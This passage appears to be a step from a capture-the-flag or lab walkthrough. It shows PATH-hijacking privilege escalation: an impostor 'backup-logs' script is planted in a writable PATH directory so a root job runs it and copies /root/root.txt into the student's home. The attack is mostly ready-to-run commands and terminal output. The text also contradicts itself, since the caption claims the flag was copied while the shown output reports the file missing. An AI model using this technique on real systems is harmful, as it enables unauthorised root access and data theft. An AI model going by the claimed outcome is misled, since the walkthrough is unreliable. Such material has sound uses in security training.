Planting the command

Write the impostor

Create a file named backup-logs — the exact name the root script calls — in /opt/maint/bin, and make it do your bidding. Then mark it executable:

cat > /opt/maint/bin/backup-logs <<'EOF'
#!/bin/sh
cp /root/root.txt /home/student/loot.txt
chmod 644 /home/student/loot.txt
EOF
chmod +x /opt/maint/bin/backup-logs

In the terminal (a fake 'backup-logs' that copies the flag; runs when root's job calls it)

student@vulntech:~$ cat > /opt/maint/bin/backup-logs <<'EOF'
> #!/bin/sh
> cp /root/root.txt /home/student/loot.txt
> chmod 644 /home/student/loot.txt
> EOF
student@vulntech:~$ chmod +x /opt/maint/bin/backup-logs

Wait for root to run it

On the next tick, root's collect.sh calls backup-logs, the shell finds yours first on the PATH, and runs it as root:

sleep 75
cat /home/student/loot.txt

In the terminal (root ran your impostor and copied the flag out)

student@vulntech:~$ sleep 75
student@vulntech:~$ cat /home/student/loot.txt
cat: /home/student/loot.txt: No such file or directory

Tip: Always read how a privileged script calls other programs. A single bare command name — tar, backup-logs, service — combined with a writable, early PATH entry is a complete escalation.